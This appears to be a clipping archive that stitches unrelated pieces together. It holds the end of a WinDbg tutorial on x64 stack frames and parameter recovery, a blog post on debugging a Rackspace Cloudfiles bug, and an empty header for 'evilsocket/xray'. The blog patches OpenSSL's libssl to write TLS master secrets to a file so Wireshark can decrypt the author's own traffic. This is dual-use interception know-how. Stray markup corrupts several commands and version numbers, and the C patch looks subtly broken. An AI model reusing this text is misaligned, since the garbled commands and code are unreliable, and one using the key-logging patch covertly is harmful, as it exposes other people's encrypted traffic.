    BeginAddress      = 00000000`00004ac0
    EndAddress        = 00000000`00004b18
    UnwindInfoAddress = 00000000`00059a48
    
    Unwind info at 000007fe`fdd79a48, 10 bytes
      version 1, flags 0, prolog 14, codes 6
      frame reg 0, frame offs 0
      00: offs 14, unwind op 1, op info 0   UWOP_ALLOC_LARGE FrameOffset: 138
      02: offs d, unwind op 0, op info 7    UWOP_PUSH_NONVOL
      03: offs c, unwind op 0, op info 6    UWOP_PUSH_NONVOL
      04: offs b, unwind op 0, op info 5    UWOP_PUSH_NONVOL
      05: offs a, unwind op 0, op info 3    UWOP_PUSH_NONVOL
    
[/code]

Adding up the sizes listed above yields a stack space consumption of 0x138 +
\(8\*4\) = 0x158 bytes.

[code]

    0:000> ?138+(8*4)
    Evaluate expression: 344 = 00000000`00000158
    
[/code]

Adding the size of the return address \(8 bytes\) to the above number gives a
total stack frame size of 0x160 bytes. This is the same number shown by the
debugger's "knf" command, shown earlier.

[code]

    0:000> ?158+8
    Evaluate expression: 352 = 00000000`00000160
    
[/code]

Referring to the output of the "knf" command, the debugger adds the frame size
\(0x160\) to the value of the Child-SP value in frame \#01 i.e.
00000000\`0029bc00 to get the Child-SP value in frame \#02 i.e.
00000000\`0029bd60.

[code]

    0:000> ?00000000`0029bc00+160
    Evaluate expression: 2735456 = 00000000`0029bd60
    
[/code]

So the space allocated on the stack for each frame can be computed from
information in the PE file itself using the RUNTIME\_FUNCTION, UNWIND\_INFO
and UNWIND\_CODE structures. Due to this, the debugger can walk the call stack
without requiring symbols \(public or private\) for the modules present on the
stack. The following call stack shows the module "vmswitch" for which symbols
are not available on Microsoft's public symbol server but that does not stop
the debugger from walking and displaying the call stack accurately, an example
of the fact that the X64 call stack can be walked without symbols.

[code]

    1: kd> kn
     # Child-SP          RetAddr           Call Site
    00 fffffa60`005f1a68 fffff800`01ab70ee nt!KeBugCheckEx
    01 fffffa60`005f1a70 fffff800`01ab5938 nt!KiBugCheckDispatch+0x6e
    .
    .
    .
    21 fffffa60`01718840 fffffa60`0340b69e vmswitch+0x5fba
    22 fffffa60`017188f0 fffffa60`0340d5cc vmswitch+0x769e
    23 fffffa60`01718ae0 fffffa60`0340e615 vmswitch+0x95cc
    24 fffffa60`01718d10 fffffa60`009ae31a vmswitch+0xa615
    .
    .
    .
    44 fffffa60`0171aed0 fffffa60`0340b69e vmswitch+0x1d286
    45 fffffa60`0171af60 fffffa60`0340d4af vmswitch+0x769e
    46 fffffa60`0171b150 fffffa60`034255a0 vmswitch+0x94af
    47 fffffa60`0171b380 fffffa60`009ac33c vmswitch+0x215a0
    .
    .
    .
    
[/code]

#### Parameter Retrieval

In the previous section, the inner workings of the X64 stack was explained
along with information on how to interpret every detail from the output of the
stack trace displayed by the debugger. In this section, the theory would be
applied to demonstrate techniques to retrieve register based parameters passed
to X64 functions. Unfortunately, there is no silver bullet to finding
parameters. All the techniques here depend heavily on the X64 assembler
instructions generated by the compiler. If the parameters are not in
“reachable memory”, there is simply no way to get them. Having private symbols
for modules and functions that appear in the call stack doesn't help too much
either. Private symbols do tell the number and types of parameters a function
takes, but that’s about it. It does not tell what those parameter values are.

##### Summary of Techniques

The discussions in this section assume that the X64 functions have been
compiled without the /homeparams flag. When compiled with the /homeparams
flag, it is trivial to retrieve register based parameters as they are
guaranteed to be homed on to the stack by the callee. Also the fifth and
higher numbered parameters are always passed via the stack, irrespective of
whether the function is compiled with /homeparams, so retrieving these
parameters should not be an issue in any case.

During live debugging, setting a breakpoint on the beginning of the function
is the easiest way to retrieve parameters that were passed in by the caller,
since during the function's prolog, the first 4 parameters are guaranteed to
be available in the registers RCX, RDX, R8 and R9 respectively.

However, as execution progresses within the function body, the contents of the
parameter registers change and the initial parameter value gets overwritten.
So, to determine the value of these register based parameters at any point
during function execution, one needs to find out - where is the value of the
parameter being read from and where is the value of the parameter being
written to? Answers to these questions can be found by performing a sequence
of steps in the debugger which can be grouped as follows:

  * Determine if the parameters are loaded into the registers from memory. If so, the memory location can be examined to determine the parameter values.
  * Determine if the parameters are loaded from non-volatile registers and if those registers are saved by the callee. If so, the saved non-volatile register values can be examined to determine the parameter values.
  * Determine if the parameters are saved from the registers into memory. If so, the memory location can be examined to determine the parameter values.
  * Determine if the parameters are saved into non-volatile registers and if those registers are saved by the callee. If so, the saved non-volatile register values can be examined to determine the parameter values.

In the next few sections, each one of the above techniques is described in
detail with examples on how to use them. Each one of the techniques requires
disassembling the caller and the callee functions involved in the parameter
passing. In Figure 14, if the intention is to find parameters passed to
function f2\(\), frame 2 must be disassembled to find parameter from sources
and frame 0 must be disassembled to find them from their destinations.

<img src='img/figure_x64dd_14.png' alt='FIG#14' />  
---  
Figure 14 : Finding Register Based Parameters  
##### Identifying Parameter Sources

This technique involves determining the source of the values being loaded into
parameter registers. It works for sources like constant values, global data
structures, stack addresses, values stored on the stack etc.

As illustrated in figure 15, disassembling the caller \(X64caller\) shows that
the values being loaded into RCX, RDX, R8 and R9 to be passed as parameters to
the function X64callee are being loaded from sources that can be examined in
the debugger as long as the values haven't changed.

<img src='img/figure_x64dd_16.png' alt='FIG#15' />  
---  
Figure 15 : Identifying parameter sources  
The following example applies this technique to find the value of the third
parameter to the function NtCreateFile\(\) as show in the call stack below.

[code]

    0:000> kn
     # Child-SP          RetAddr           Call Site
    00 00000000`0029bbf8 000007fe`fdd24d76 ntdll!NtCreateFile
    01 00000000`0029bc00 00000000`77ac2aad KERNELBASE!CreateFileW+0x2cd
    02 00000000`0029bd60 000007fe`fe5b9ebd kernel32!CreateFileWImplementation+0x7d
    .
    .
    .
    
[/code]

As shown below, from the prototype of the function NtCreateFile\(\), the
parameter type for the third parameter is POBJECT\_ATTRIBUTES.

[code]

    NTSTATUS NtCreateFile(
      __out     PHANDLE FileHandle,
      __in      ACCESS_MASK DesiredAccess,
      __in      POBJECT_ATTRIBUTES ObjectAttributes,
      __out     PIO_STATUS_BLOCK IoStatusBlock,
    .
    .
    . );
    
[/code]

Disassembling the caller using the return address in frame \#0 shows the
following instructions. The value being loaded into the R8 i.e. the register
assigned for parameter 3 is rsp+0xc8. The output of the "kn" command above
shows that the value of the RSP register at the time the caller i.e.
KERNELBASE\!CreateFileW was executing, was 00000000\`0029bc00.

[code]

    0:000> ub 000007fe`fdd24d76
    KERNELBASE!CreateFileW+0x29d:
    000007fe`fdd24d46 and     ebx,7FA7h
    000007fe`fdd24d4c lea     r9,[rsp+88h]
    000007fe`fdd24d54 lea     r8,[rsp+0C8h]
    000007fe`fdd24d5c lea     rcx,[rsp+78h]
    000007fe`fdd24d61 mov     edx,ebp
    000007fe`fdd24d63 mov     dword ptr [rsp+28h],ebx
    000007fe`fdd24d67 mov     qword ptr [rsp+20h],0
    000007fe`fdd24d70 call    qword ptr [KERNELBASE!_imp_NtCreateFile]
    
[/code]

Manually reconstructing the value that was loaded into the R8 register from
the information above yields a value that can be type-casted to the
OBJECT\_ATTRIBUTE structure.

[code]

    0:000> dt ntdll!_OBJECT_ATTRIBUTES 00000000`0029bc00+c8
       +0x000 Length           : 0x30
       +0x008 RootDirectory    : (null) 
       +0x010 ObjectName       : 0x00000000`0029bcb0 _UNICODE_STRING "\??\C:\Windows\Fonts\staticcache.dat"
       +0x018 Attributes       : 0x40
       +0x020 SecurityDescriptor : (null) 
       +0x028 SecurityQualityOfService : 0x00000000`0029bc68
    
[/code]

##### Non-Volatile Registers as parameter sources

This technique involves finding if the values being loaded into parameter
registers are being read out of the non-volatile registers and if the non-
volatile registers are being saved on the stack.

Figure 16 shows the disassembly of the caller \(X64caller\) and the callee
\(X64Callee\). The instructions just before the caller calls the callee \(on
the left hand side\) shows that the values being loaded into the parameter
registers \(RCX, RDX, R8 and R9\) are being read from the non-volatile
registers \(RDI, R12, RBX, R9\). The instructions in the callee's prolog \(on
the right hand side\) show that these non-volatile registers are being saved
to the stack. These saved values can be retrieved, which indirectly yield the
values that were loaded into the parameter registers earlier.

<img src='img/figure_x64dd_16.png' alt='FIG#16' />  
---  
Figure 16 : Non-Volatile Registers as parameter sources  
The following example applies this technique to find the value of the first
parameter to the function CreateFileW\(\) as shown in the call stack below.

[code]

    0:000> kn
     # Child-SP          RetAddr           Call Site
    00 00000000`0029bbf8 000007fe`fdd24d76 ntdll!NtCreateFile
    01 00000000`0029bc00 00000000`77ac2aad KERNELBASE!CreateFileW+0x2cd
    02 00000000`0029bd60 000007fe`fe5b9ebd kernel32!CreateFileWImplementation+0x7d
    .
    .
    .
    
[/code]

As shown below, from the prototype of the function CreateFile\(\), the type
for the first parameter is LPCTSTR.

[code]

    HANDLE WINAPI 
    CreateFile(
      __in      LPCTSTR lpFileName,
      __in      DWORD dwDesiredAccess,
      __in      DWORD dwShareMode,
      __in_opt  LPSECURITY_ATTRIBUTES lpSecurityAttributes,
    .
    .
    . );
    
[/code]

Disassembling the caller using the return address in frame 1 shows the
instructions below. The value being loaded into the RCX i.e. the register
assigned for parameter 1 is being read from RDI, a non-volatile register. The
next step is to find if the callee CreateFileW\(\) saves EDI.

[code]

    0:000> ub 00000000`77ac2aad L B
    kernel32!CreateFileWImplementation+0x4a:
    00000000`77ac2a7a mov     rax,qword ptr [rsp+90h]
    00000000`77ac2a82 mov     r9,rsi
    00000000`77ac2a85 mov     r8d,ebp
    00000000`77ac2a88 mov     qword ptr [rsp+30h],rax
    00000000`77ac2a8d mov     eax,dword ptr [rsp+88h]
    00000000`77ac2a94 mov     edx,ebx
    00000000`77ac2a96 mov     dword ptr [rsp+28h],eax
    00000000`77ac2a9a mov     eax,dword ptr [rsp+80h]
    00000000`77ac2aa1 mov     rcx,rdi
    00000000`77ac2aa4 mov     dword ptr [rsp+20h],eax
    00000000`77ac2aa8 call    kernel32!CreateFileW (00000000`77ad2c88)
    
[/code]

Disassembling the callee shows the following instructions in the function's
prolog. The RDI register is being saved on the stack by the instruction "push
rdi". The value being saved would be the same value that was loaded into the
RCX. The next step is to find the saved contents of EDI.

[code]

    0:000> u KERNELBASE!CreateFileW
    KERNELBASE!CreateFileW:
    000007fe`fdd24ac0 mov     dword ptr [rsp+18h],r8d
    000007fe`fdd24ac5 mov     dword ptr [rsp+10h],edx
    000007fe`fdd24ac9 push    rbx
    000007fe`fdd24aca push    rbp
    000007fe`fdd24acb push    rsi
    000007fe`fdd24acc push    rdi
    000007fe`fdd24acd sub     rsp,138h
    000007fe`fdd24ad4 mov     edi,dword ptr [rsp+180h]
    
[/code]

The debugger's ".frame /r" command displays the values of non-volatile
registers when a particular function was executing. It does so by retrieving
the non-volatile register values saved by the callee's prolog as discussed
earlier. The following command shows the value of EDI as 000000000029beb0 when
CreateFileWImplementation\(\) called the CreateFileW\(\). This value can be
used to display the file name parameter that was passed to CreateFile\(\).

[code]

    0:000> .frame /r 2
    02 00000000`0029bd60 000007fe`fe5b9ebd kernel32!CreateFileWImplementation+0x7d
    rax=0000000000000005 rbx=0000000080000000 rcx=000000000029bc78
    rdx=0000000080100080 rsi=0000000000000000 rdi=000000000029beb0
    rip=0000000077ac2aad rsp=000000000029bd60 rbp=0000000000000005
     r8=000000000029bcc8  r9=000000000029bc88 r10=0057005c003a0043
    r11=00000000003ab0d8 r12=0000000000000000 r13=ffffffffb6011c12
    r14=0000000000000000 r15=0000000000000000
    
    0:000> du /c 100 000000000029beb0
    00000000`0029beb0  "C:\Windows\Fonts\staticcache.dat"
    
[/code]

##### Identifying parameter destinations

This technique involves finding if the values in parameter registers are
written to memory within a function. When a function is compiled with
/homeparams, the function's prolog will always save the contents of the
parameter registers to the parameter homing area on the stack. However, for
functions that are not compiled with /homeparams, the parameter register
contents may be written to memory anywhere within the function body.

Figure 17 shows the disassembly of a function body wherein the parameter
values in registers RCX, RDX, R8 and R9 are being written to the stack. The
parameters can be determined by displaying the contents of the memory location
using the value of the stack pointer for the current frame.

<img src='img/figure_x64dd_17.png' alt='FIG#17' />  
---  
Figure 17 : Identifying parameter destinations  
The following example applies this technique to find the value of the third
and fourth parameter to the function DispatchClientMessage\(\) as shown in the
call stack below.

[code]

    0:000> kn
     # Child-SP          RetAddr           Call Site
    . 
    . 
    .
    26 00000000`0029dc70 00000000`779ca01b user32!UserCallWinProcCheckWow+0x1ad
    27 00000000`0029dd30 00000000`779c2b0c user32!DispatchClientMessage+0xc3
    28 00000000`0029dd90 00000000`77c1fdf5 user32!_fnINOUTNCCALCSIZE+0x3c
    29 00000000`0029ddf0 00000000`779c255a ntdll!KiUserCallbackDispatcherContinue
    . 
    . 
    .
    
[/code]

The third and fourth parameters to a function are in the R8 and R9 register
respectively. Disassembling the function DispatchClientMessage\(\) and looking
for any writes from R8 or R9 to memory, leads to the instructions "mov qword
ptr \[rsp+28h\], r9" and "mov qword ptr \[rsp+20h\], r8" indicating that the
third and fourth parameters are being written to the stack. These instructions
are not a part of the function prolog but rather a part of the larger function
body. It is important to note this, since the values of the R8 and R9
registers may have been modified before they were written to the stack.
Although that does not happen in the case of DispatchClientMessage\(\), it is
important to always verify parameter register overwrites when using this
technique.

[code]

    0:000> uf user32!DispatchClientMessage
    user32!DispatchClientMessage:
    00000000`779c9fbc sub     rsp,58h
    00000000`779c9fc0 mov     rax,qword ptr gs:[30h]
    00000000`779c9fc9 mov     r10,qword ptr [rax+840h]
    00000000`779c9fd0 mov     r11,qword ptr [rax+850h]
    00000000`779c9fd7 xor     eax,eax
    00000000`779c9fd9 mov     qword ptr [rsp+40h],rax
    00000000`779c9fde cmp     edx,113h
    00000000`779c9fe4 je      user32!DispatchClientMessage+0x2a (00000000`779d7fe3)
    
    user32!DispatchClientMessage+0x92:
    00000000`779c9fea lea     rax,[rcx+28h]
    00000000`779c9fee mov     dword ptr [rsp+38h],1
    00000000`779c9ff6 mov     qword ptr [rsp+30h],rax
    00000000`779c9ffb mov     qword ptr [rsp+28h],r9
    00000000`779ca000 mov     qword ptr [rsp+20h],r8
    00000000`779ca005 mov     r9d,edx
    00000000`779ca008 mov     r8,r10
    00000000`779ca00b mov     rdx,qword ptr [rsp+80h]
    00000000`779ca013 mov     rcx,r11
    00000000`779ca016 call    user32!UserCallWinProcCheckWow (00000000`779cc2a4)
    .
    .
    .
    
[/code]

Using the value of the stack pointer \(RSP\) for the frame \#27 i.e.
00000000\`0029dd30, from the output of the "kn" command above, and adding the
offset at which R8 register is stored show 00000000\`00000000 which is the
value of the third parameter passed to DispatchClientMessage\(\).

[code]

    0:000> dp 00000000`0029dd30+20 L1
    00000000`0029dd50  00000000`00000000
    
[/code]

Similarly adding the offset at which the R9 register is stored shows
00000000\`0029de70 which is the value of the fourth parameter passed to
DispatchClientMessage\(\).

[code]

    0:000> dp 00000000`0029dd30+28 L1
    00000000`0029dd58  00000000`0029de70
    
[/code]

##### Non-Volatile Registers as Parameter Destinations

This technique involves finding if the contents of the parameter registers are
saved into non-volatile registers by the function in question and then if
these non-volatile registers are saved on the stack by the callee.

Figure 18 shows the disassembly of the caller \(X64Caller\) and the callee
\(X64Callee\). The intention is to find the values of the register based
parameters that were passed to the function X64Caller. The body of the
function X64Caller \(shown on the left hand side\) contains instructions that
save the parameter registers \(RCX, RDX, R8 and R9\) into non-volatile
registers \(RDI, RSI, RBX, RBP\). The prolog of the function X64Callee
contains instructions \(shown on the right hand side\) that save these non-
volatile registers on to the stack making it feasible to retrieve their values
which would indirectly yield the values of the parameter registers.

<img src='img/figure_x64dd_18.png' alt='FIG#18' />  
---  
Figure 18 : Non-Volatile Registers as Parameter Destinations  
The following example applies this technique to find the value of all the four
register based parameters to the function CreateFileWImplementation\(\).

[code]

    0:000> kn
     # Child-SP          RetAddr           Call Site
    00 00000000`0029bbf8 000007fe`fdd24d76 ntdll!NtCreateFile
    01 00000000`0029bc00 00000000`77ac2aad KERNELBASE!CreateFileW+0x2cd
    02 00000000`0029bd60 000007fe`fe5b9ebd kernel32!CreateFileWImplementation+0x7d
    03 00000000`0029bdc0 000007fe`fe55dc08 usp10!UniStorInit+0xdd
    
[/code]

The complete disassembly of the function CreateFileWImplementation\(\) reveals
that, right after the function prolog, the parameter registers are being saved
to non-volatile registers by the instructions "mov ebx,edx", "mov rdi,rcx",
mov rsi,r9" and "mov ebp,r8d". It is important to examine the instructions up
to the call to the next function i.e. CreateFileW\(\) to ascertain that these
non-volatile registers are not being overwritten. Although not explicitly
shown here, this verification has been performed by examining all the code
paths in CreateFileWImplementation\(\) that lead to the call to
CreateFileW\(\). The next step is to disassemble the prolog of the function
CreateFileW\(\) to find out if it saves these non-volatile registers
containing the register based parameters on the stack.

[code]

    0:000> uf kernel32!CreateFileWImplementation
    kernel32!CreateFileWImplementation:
    00000000`77ac2a30 mov     qword ptr [rsp+8],rbx
    00000000`77ac2a35 mov     qword ptr [rsp+10h],rbp
    00000000`77ac2a3a mov     qword ptr [rsp+18h],rsi
    00000000`77ac2a3f push    rdi
    00000000`77ac2a40 sub     rsp,50h
    00000000`77ac2a44 mov     ebx,edx
    00000000`77ac2a46 mov     rdi,rcx
    00000000`77ac2a49 mov     rdx,rcx
    00000000`77ac2a4c lea     rcx,[rsp+40h]
    00000000`77ac2a51 mov     rsi,r9
    00000000`77ac2a54 mov     ebp,r8d
    00000000`77ac2a57 call    qword ptr [kernel32!_imp_RtlInitUnicodeStringEx (00000000`77b4cb90)]
    00000000`77ac2a5d test    eax,eax
    00000000`77ac2a5f js      kernel32!zzz_AsmCodeRange_End+0x54ec (00000000`77ae7bc0)
    .
    .
    .
    
[/code]

The following output shows that the function CreateFileW\(\) saves the no-
volatile registers \(rbx, rbp, rsi and edi\) onto the stack, which enables the
debugger's ".frame /r" command to display their values.

[code]

    0:000> u KERNELBASE!CreateFileW
    KERNELBASE!CreateFileW:
    000007fe`fdd24ac0 mov     dword ptr [rsp+18h],r8d
    000007fe`fdd24ac5 mov     dword ptr [rsp+10h],edx
    000007fe`fdd24ac9 push    rbx
    000007fe`fdd24aca push    rbp
    000007fe`fdd24acb push    rsi
    000007fe`fdd24acc push    rdi
    000007fe`fdd24acd sub     rsp,138h
    000007fe`fdd24ad4 mov     edi,dword ptr [rsp+180h]
    
[/code]

Running the command ".frame /r" on frame 2 containing the function
CreateFileWImplementation\(\) displays the values of these non-volatile
registers at the time that the frame was active.

[code]

    0:000> .frame /r 02
    02 00000000`0029bd60 000007fe`fe5b9ebd kernel32!CreateFileWImplementation+0x7d
    rax=0000000000000005 rbx=0000000080000000 rcx=000000000029bc78
    rdx=0000000080100080 rsi=0000000000000000 rdi=000000000029beb0
    rip=0000000077ac2aad rsp=000000000029bd60 rbp=0000000000000005
     r8=000000000029bcc8  r9=000000000029bc88 r10=0057005c003a0043
    r11=00000000003ab0d8 r12=0000000000000000 r13=ffffffffb6011c12
    r14=0000000000000000 r15=0000000000000000
    iopl=0         nv up ei pl zr na po nc
    cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000244
    kernel32!CreateFileWImplementation+0x7d:
    00000000`77ac2aad mov     rbx,qword ptr [rsp+60h] ss:00000000`0029bdc0={usp10!UspFreeForUniStore (000007fe`fe55d8a0)}
    
    
[/code]

Mapping the non-volatile registers with the parameters registers based on the
"mov" instructions shown earlier yields the following results.

  * P1 = RCX = RDI = 000000000029beb0
  * P2 = EDX = EBX = 0000000080000000
  * P3 = R8D = EBP = 0000000000000005
  * P4 = R9 = RSI = 0000000000000000

It may be time consuming and cumbersome to apply the four steps discussed in
this section when attempting to retrieve parameters from X64 call stack.
CodeMachine provides a debugger extension command **\!cmkd.stack -p** that
automates this whole process. This command attempts to retrieve and display
parameters to all the functions that appear on the X64 call stack of a thread.
In order to use the command to retrieve parameters for any thread during user
mode debugging, use the "~s" command to switch to that particular thread.
Similarly during kernel mode debugging use the ".thread" command.

This article covered some of the compiler optimizations that are performed on
the X64 CPU that make the code generated very different from that on X86. It
discussed exception handling mechanism on X64 and showed how the executable
file format and data structures were modified to support this feature. It then
discussed how the X64 stack frame are built at run time and how this knowledge
can be applied to retrieve registers based function parameters passed to X64
functions, and thus overcome this painful hurdle on X64.

* * *
<img src='img/visit.gif' />

# Tech Residents Blog — Debugging and Decrypting an HTTPS API: Rackspace
Cloudfiles

**Created:**| _10/2/2013 3:17:14 PM_  
---|---  
**Updated:**| _10/2/2013 3:17:14 PM_  
**Author:**| __  
**Tags:**| _bookmark api_  
  

# Debugging and Decrypting an HTTPS API: Rackspace Cloudfiles****

September 25, 2013

Written by Jeffrey Mullins

Like most startups, we try to leverage API’s to save us time, so we can focus
on what really matters, our product**.** The upside to this approach is fairly
self-evident, but what about the downside**.** What happens when you run face
first into a low-level, intermittent bug**?**

This is the story of our experience with such a bug in the Rackspace
Cloudfiles API, and the steps we took to help root cause the problem**.**
While the bug itself may be unique to Rackspace, our approach to debugging it
is general and should be helpful to anyone looking to decrypt an HTTPS API
from the darkness of the client side**.**

### A Little Background****

Cloudfiles is a cloud storage service offered by Rackspace**.** If you’re
familiar with AWS, think S3**.** For the purposes of this article, all you
really need to know about Cloudfiles is that it’s a REST service with an SSL1
endpoint**.**

#### Symptoms****

When accessing Cloudfiles through a homegrown Python library2, we
intermittently see a _BadStatusLine_ exception from _httplib_ on random HTTP
requests**.** In our use case, it’s common for us to serially3 send multiple
HTTP requests across a persistent SSL connection**.** From the exception, it
sounds like one of our requests may not be receiving a proper response**.**

The fact that we’re accessing the Cloudfiles API using a Python library has no
bearing on our approach to debugging the problem**.** I only mention it here
for completeness and to possibly help someone else suffering with the same
issue**.**

#### Fanatical Support****

Rackspace prides themselves on “fanatical support”, so you may be thinking why
not just throw the details over the wall to Rackspace support and work with
them to reproduce and root cause the issue**.** After all, we are paying for
support**\!** I wish\!

We’ve been a Rackspace customer long enough to know that technical support for
an intermittent bug is a dead end**.** Never mind the fact that we’re using a
homegrown library, and not the officially support Rackspace library**.**

That being said, let’s dig in.

### Investigation****

Our first thought is that we can’t be the only users experiencing this
issue**.** The bug is intermittent, but we’re still able to reproduce it
several times in a single run of our integration test suite**.**

Some googling shows rumblings of intermittent disconnect errors while using
the deprecated _python-cloudfiles_ library, but that the issue had been fixed
in the new official Rackspace library, _pyrax_**.**

On closer inspection, the _pyrax_ library is actually leveraging the _python-
swiftclient_ library to send HTTP requests to Cloudfiles**.** Looking at the
source code for _python-swiftclient_ , we found somewhat excessive retry
logic**.** Each HTTP request is retried 5 times before finally giving up and
raising an exception**.**

The retry logic in _python-swiftclient_ smells a bit funny, so let’s keep
digging**.**

#### Truth is in the Network Trace****

Is the Cloudfiles API intermittently sending invalid HTTP responses**?** Is
there a latent bug in Python’s _httplib_ causing a _BadStatusLine_ exception
to be thrown for valid HTTP responses**?** The only way to know for sure, and
prove it to others, is to get a network capture of the issue**.**

Under simpler circumstances we would just fire up _tcpdump_ or _Wireshark_ ,
get a capture, and move on with our lives**.** But as with most reputable
API’s, Cloudfiles only exposes an SSL endpoint**.**

An SSL endpoint means that a network capture will only show us encrypted
packets, which won’t give us the visibility we need**.** In order to get to
the bottom of the issue, we’ll need a way to decrypt the SSL traffic in our
network capture**.**

One option for viewing the SSL traffic is to insert a man in the middle proxy
like _mitmproxy_**.** Unfortunately, in this case, inserting a proxy caused
the issue to go away**.** It’s also important to keep in mind that with a
proxy the traffic you’ll see will be between your client and the proxy**.**
You won’t actually be able to see the decrypted traffic from the server**.**
In some cases this may not be an issue, but it’s important to keep in mind
that with a proxy you may not get the whole story**.**

The good news is that with _Wireshark_ , we don’t need to resort to a proxy to
decrypt SSL traffic**.** The bad news is that without the SSL certificate we
need to point it to a file containing the master secrets for the SSL sessions
in order for it to decrypt the SSL traffic**.**

#### Getting at the SSL Master Secret****

The first step to getting at the SSL master secret is to figure out which SSL
library your application is using under the hood**.** For us that means taking
a closer look at our python process**.**

At this point we should note that we’ll be performing our investigation on Mac
OS X 10**.** 7.5, but the approach will be very similar on linux**.** Where
possible we’ll try and make note of the differences**.**

[code]

    #Start the python interpreter and import the ssl
    #module to ensure the ssl library is loaded
    $ python
    Python 2**.** 7.5 (default, May 19 2013, 13:26:47) 
    >>> import ssl
    
    #Find the python interpreter's pid
    $ jobs -l
    [1]+ 47567 Suspended: 18   python
    
    #List open files for python interpreter which should
    #include the shared object for the python ssl module
    $ lsof -p 47567 | grep ssl
    Python  47567 /opt/local/Library/Frameworks/Python.framework/Versions/2**.** 7/lib/python2.7/lib-dynload/_ssl**.** so
    
    #List ssl module's library dependencies which should
    #include some variant of libssl**.**
    #Note that linux users should replace otool -L w/ ldd
    $ otool -L /opt/local/Library/Frameworks/Python.framework/Versions/2**.** 7/lib/python2.7/lib-dynload/_ssl.so
        /opt/local/lib/libssl.1**.** 0.0.dylib
    
[/code]

Above we can see that the python interpreter is using the _libssl_ dynamic
library for its SSL needs**.** This is fairly common, and makes our lives a
littler easier**.**

In order to get at the SSL master secrets, we can simply swap out the _libssl_
library with a customized version which logs the SSL master secret for each
each SSL session**.** The best part about this approach is that it’s extremely
non-invasive**.** We’ll be able to swap in our modified SSL library without
changing a single line or our application code**\!**

#### Customizing libssl****

The first step in customizing _libssl_ to log master secrets is to download
the source tarball from openssl  and extract it**.**

[code]

    $ wget http://www.openssl.org/source/openssl-1**.** 0.0k.tar**.** gz 
    Saving to: ‘openssl-1.0.0k.tar.gz’
    
    $ tar xf openssl-1**.** 0.0k.tar.gz 
    $ cd openssl-1.0**.** 0k
    
[/code]

Next, we’ll modify the _tls1\_generate\_master\_secret\(\)_4 function in
_ssl/t1\_enc**.** c_ to log the master secret for each session to
_wireshark\_secret.txt_**.** Add the following lines of code to the end of the
_tls1\_generate\_master\_secret\(\)_ function immediately before the return
statement**.**

[code]

     /* Tech Residents Debug */
     {
         int z;
         FILE *fp = fopen("wireshark_secret.txt", "a+");
         fprintf(fp, "RSA Session-ID:");
         for (int z=0; z<s->session->session_id_length; z++) {
             fprintf(fp, "%02X", s->session->session_id[z]);
         }
         fprintf(fp, " Master-Key:");
         for (int z=0; z<sizeof(buff); z++) {
             fprintf(fp, "%02X", s->session->master_key[z]);
         }
         fprintf(fp, "\n");
         fclose(fp);
     }
[/code]

Finally, let’s rebuild our modified library**.**

[code]

    openssl-1.0.0k $ ./Configure darwin64-x86_64-cc shared
    openssl-1**.** 0.0k $ make && make test
    openssl-1.0.0k $ ls -ltr *.dylib
        libcrypto.dylib -> libcrypto**.** 1.0.0.dylib
        libcrypto.1**.** 0.0.dylib
        libssl.dylib -> libssl.1.0**.** 0.dylib
        libssl.1.0.0.dylib
    
[/code]

Now that we’ve modified _libssl_ to log master secrets, let’s swap it in**.**

#### Swapping in our Customized libssl****

In order for our application to use our customized version of _libssl_ we need
to modify the dynamic library path environment variable so that our customized
library takes priority over the system’s _libssl_ library**.**

[code]

    #Note linux users should replace DYLD_LIBRARY_PATH 
    #with LD_LIBRARY_PATH
    $ DYLD_LIBRARY_PATH=/Users/jmullins/dev/openssl/openssl-1**.** 0.0k:$DYLD_LIBRARY_PATH python test.py
    
[/code]

The above command will invoke our python _test**.** py_ script with an altered
_DYLD\_LIBRARY\_PATH_ environment variable forcing it to use our customized
version of _libssl_**.**

#### Capturing and Decrypting the Network Trace****

We’re finally ready to reproduce the bug, using our modified version of
_libssl_ , and capture a network trace using _Wireshark_**.**

First, let’s fire up _Wireshark_ and start capturing packets**.**

With that in place, we’re ready to run our test script with a modified version
of _libssl_ which will log the master secrets for each SSL session**.**

[code]

    $ DYLD_LIBRARY_PATH=/Users/jmullins/dev/openssl/openssl-1**.** 0.0k:$DYLD_LIBRARY_PATH python test**.** py
    
    $ cat wireshark_secret.txt 
    RSA Session-ID:AF341963A9843EB461ECB728E0FB15FE27EA63DA4FDE6DDF5435AB7165D457CE Master-Key:CBB9DD417A7393C99479DF80AEBF4884AF5C0D8D479DF97D4734DA71D387A722706D9C44EE8FF08D3AF28A935E291241
    RSA Session-ID:D901E8CF0F63D779DA3F32286AAEAB83B7AEF5CBA5BCBEC625934465A765B857 Master-Key:0370EF32982DD6E2862CEB5217EADEB26EDDA2AB2F334132FDFF814EFFD2E7C5E512C507E8E85662330F31CD95FE8466
    
[/code]

Above we can see that the file _wireshark\_secret.txt_ is created and contains
the master secrets for our SSL sessions**.**

Lastly, let’s stop capturing packets and configure _Wireshark_ to use this
file to decrypt our SSL traffic**.**

  1. Click the _Edit- >Preferences_ menu
  2. Expand the _Protocols_ list in the left panel and select _SSL_
  3. Configure the _\(Pre\)-Master-Secret log filename_

<img src='img/Temp2_7931.png' alt='Screenshot' />

Finally, we can see the decrypted SSL traffic:

<img src='img/Temp2_7930.png' alt='Screenshot' />

### Root Cause****

It’s difficult to see in the above screenshot, but the decrypted network trace
shows our application sending several HTTP requests over a persistent
connection**.** The last request that we send never receives a response**.**
Instead, the Rackspace Cloudfiles server resets the TCP connection**.**

Per the HTTP 1**.** 1 RFC

_Servers SHOULD NOT close a connection in the middle of transmitting a
response, unless a network or client failure is suspected**.**_

It’s understandable that Cloudfiles may need to close connections as part of a
resource allocation strategy, but resetting a connection in the middle of a
request is not the answer**.**

It’s worth noting, that even with the trace in hand, we decided not work this
issue through official support channel at Rackspace**.** Instead, we worked
open source contacts to get in touch with the Cloudfiles developers at
Rackspace and sent them all of the info directly**.**

I wish I could end this post by saying that Rackspace has fixed the issue, but
for now we’ve yet to see a resolution**.** But at least we did our part and
put all of the information is in the right hands**.**

* * *
  1. SSL is used colloquially throughout this article in place of TLS**.** ↩
  2. The reason for the homegrown library is mostly due to Gevent, but there are other issues at play that which will not address**.** ↩
  3. _Serially_ , meaning send a request, wait for a response, send a request, wait for a response, etc… We want to make it clear that we are not _pipelining_ requests**.** ↩
  4. We’re assuming TLS 1**.** X, which is most likely the case. ↩

****

# evilsocket/xray

**Created:**| _7/17/2017 11:24:07 AM_  
---|---  
**Updated:**| _7/17/2017 11:24:07 AM_  
**Author:**| __  
**Tags:**| __  
  

  

###  README.md

